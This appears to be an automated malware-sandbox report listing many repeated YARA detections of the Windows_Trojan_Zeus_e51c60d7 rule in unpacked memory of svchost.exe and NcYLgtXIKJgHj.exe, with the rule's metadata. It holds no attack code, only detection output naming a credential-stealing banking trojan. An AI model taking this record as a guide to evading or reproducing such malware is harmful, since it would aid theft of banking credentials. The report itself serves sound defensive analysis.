Source: 2.3.svchost.exe.ee00000.74.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.69.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 31.2.NcYLgtXIKJgHj.exe.2792000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.41.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.29.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.57.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 10.2.NcYLgtXIKJgHj.exe.1520000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.56.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.28.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 7.2.NcYLgtXIKJgHj.exe.2fa2000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.70.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 14.2.NcYLgtXIKJgHj.exe.2ac0000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.21.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.14.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 7.2.NcYLgtXIKJgHj.exe.3100000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.61.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.29.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.50.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.31.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.46.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.73.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.67.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.11.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.23.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.63.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.29f3c00.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.22.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.64.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.39.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 6.2.NcYLgtXIKJgHj.exe.1740000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 16.2.NcYLgtXIKJgHj.exe.2792000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 36.2.NcYLgtXIKJgHj.exe.2202000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.34.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.67.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 20.2.NcYLgtXIKJgHj.exe.2652000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.41.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.56.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.21.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.24.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.40.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.35.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.886c00.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
